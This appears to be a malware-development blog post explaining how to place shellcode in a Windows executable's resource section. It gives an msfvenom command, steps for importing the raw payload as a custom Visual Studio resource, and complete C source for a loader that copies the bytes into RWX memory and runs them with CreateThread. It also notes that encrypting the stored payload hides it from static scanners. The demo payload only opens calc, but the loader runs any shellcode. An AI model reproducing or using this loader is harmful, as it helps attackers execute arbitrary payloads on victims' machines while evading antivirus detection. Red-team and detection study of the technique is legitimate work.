Post

Shellcode-Placement-ResourceSection

Shellcode-Placement-ResourceSection

What is it?

Shellcode embedded inside the PE’s .rsrc section — the resource section normally used to store icons, strings, version info, and other static assets. Instead of hardcoding shellcode bytes in .text or allocating memory at runtime, the payload is compiled into the binary as a named resource and retrieved at runtime using the Windows resource API. The shellcode lives inside a legitimate PE section, alongside real resources like the program icon.

How it works

Step 1: Generate the payload

1
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

Raw format outputs just the shellcode bytes with no PE wrapper — exactly what we need to embed as a resource.

Generated Payload

Generated Payload

Step 2: Add the payload as a resource in Visual Studio

Inside Visual Studio → Solution Explorer → Resource Files → right-click → Resource.

Open Resource Tab

Open Resource Tab

Click Import and select calc.bin.

Add Calc.bin to Resource

Add Calc.bin to Resource

When prompted for the resource type, use a custom name — in this case N0xshell. This becomes the type string used in FindResourceW.

Add Custom Resource Type

Add Custom Resource Type

Visual Studio shows the RCDATA window confirming the shellcode was imported correctly — visible as hex bytes.

Our Shellcode

Our Shellcode

Step 3: Verify the generated resource files

Visual Studio auto-generates two files. resource.h defines the resource ID macro — the value (101) and name can be changed freely.

Resource.h

Resource.h

Shellcode-Placement-ResourceSection.rc maps the ID to the file. Verify the custom type name N0xshell is present — it must match the string passed to FindResourceW.

ResourceSection.rc

ResourceSection.rc

Step 4: Retrieve and execute the shellcode at runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
FindResourceW(NULL, MAKEINTRESOURCEW(IDR_N0XSHELL1), L"N0xshell")
→ Locates the resource by ID (101) and type ("N0xshell") in the current module
→ Returns HRSRC — a handle to the resource descriptor, not the data itself

LoadResource(NULL, hResource)
→ Maps the resource into the process address space
→ Returns HGLOBAL — a handle to the loaded resource block

LockResource(hGlobal)
→ Returns a direct pointer to the raw resource bytes
→ Points into .rsrc — PAGE_READONLY, not executable

SizeofResource(NULL, hResource)
→ Returns the resource size in bytes
→ Needed for VirtualAlloc and memcpy

VirtualAlloc(PAGE_EXECUTE_READWRITE)
→ Allocates a separate RWX region — .rsrc is not executable
→ We must copy the shellcode out before we can run it

memcpy(pAddr, pShellcodeAddr, sShellcodeSize)
→ Copies shellcode from the read-only .rsrc mapping into the RWX buffer

CreateThread(pAddr)
→ Spawns a new thread starting at the shellcode entry point
→ WaitForSingleObject blocks until shellcode finishes

Step 5: Shellcode executes

Shellcode Executed

Shellcode Executed

PE layout after compilation:

1
2
3
4
5
6
7
8
9
10
11
┌──────────────────────────────────────┐
│ .text    compiled code               │
│ .rdata   read-only data              │
│ .data    global variables            │
│ .rsrc    ← shellcode lives here      │  PAGE_READONLY
│   └─ N0xshell / 101 / calc.bin bytes │
│ .reloc   relocations                 │
└──────────────────────────────────────┘

At runtime:
  .rsrc → LockResource → memcpy → RWX allocation → CreateThread → execute

Compared to .text placement:

1
2
3
4
5
6
.text placement:           .rsrc placement:
  shellcode in code          shellcode in resource section
  PAGE_EXECUTE_READ          PAGE_READONLY (expected for resources)
  no VirtualAlloc ✓          VirtualAlloc needed (still flagged)
  no memcpy ✓                memcpy needed
  less common pattern        looks like a legitimate resource ✓

The resource section approach is often paired with encryption — shellcode stored encrypted in .rsrc, decrypted at runtime into a fresh allocation. Static scanners find only ciphertext.

Shellcode Visible (In clear text) in .rsrc section

Shellcode In PE-Bear

Shellcode In PE-Bear

Shellcode-Placement-ResourceSection.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <Windows.h>
#include <stdio.h>
#include "resource.h"

int main() {

	HRSRC hResource = NULL;
	HGLOBAL hGlobal = NULL;
	PVOID pShellcodeAddr = NULL;
	SIZE_T sShellcodeSize = 0; // In bytes
	PVOID pAddr = NULL;
	HANDLE hThread = NULL;



	// Locate the shellcode resource
	hResource = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_N0XSHELL1), L"N0xshell");
	if (!hResource) {
		printf("[!] FindResourceW Failed: %d \n", GetLastError());
		return -1;
	}

	// Load the resource into memory
	hGlobal = LoadResource(NULL, hResource);
	if (!hGlobal) {
		printf("[!] LoadResource Failed: %d \n", GetLastError());
		return -1;
	}

	// Get a pointer to the shellcode bytes
	pShellcodeAddr = LockResource(hGlobal);
	if (!pShellcodeAddr) {
		printf("[!] LockResource Failed: %d \n", GetLastError());
		return -1;
	}

	// Get the size of the shellcode
	sShellcodeSize = SizeofResource(NULL, hResource);
	if (!sShellcodeSize) {
		printf("[!] SizeofResource Failed: %d \n", GetLastError());
		return -1;
	}

	// Allocate RWX memory for the shellcode
	pAddr = VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!pAddr) {
		printf("[!] VirtualAlloc Failed: %d \n", GetLastError());
		return -1;
	}

	// Copy shellcode into the executable buffer
	memcpy(pAddr, pShellcodeAddr, sShellcodeSize);

	printf("[+] Shellcode Address: 0x%p \n", pAddr);
	printf("[+] Shellcode Size: %lu bytes \n", sShellcodeSize);

	// Execute the shellcode in a new thread
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, 0, NULL);
	if (!hThread) {
		printf("[!] CreateThread Failed: %d \n", GetLastError());
		return -1;
	}

	// Wait for the shellcode thread to finish
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);


	printf("[+] Press <Enter> To Exit! \n");
	getchar();

	return 0;

}

resource.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Microsoft Visual C++ generated include file.
// Used by Shellcode-Placement-ResourceSection.rc
//
#define IDR_N0XSHELL1                   101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

This post is licensed under CC BY 4.0 by the author.